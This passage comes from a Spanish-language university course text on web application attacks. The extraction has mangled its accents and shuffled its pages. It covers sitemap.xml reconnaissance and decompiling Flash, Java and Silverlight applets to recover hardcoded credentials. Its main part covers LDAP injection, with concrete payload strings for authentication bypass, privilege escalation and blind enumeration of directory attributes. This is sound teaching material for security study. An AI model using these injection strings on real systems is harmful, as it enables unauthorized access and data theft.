los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 29: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

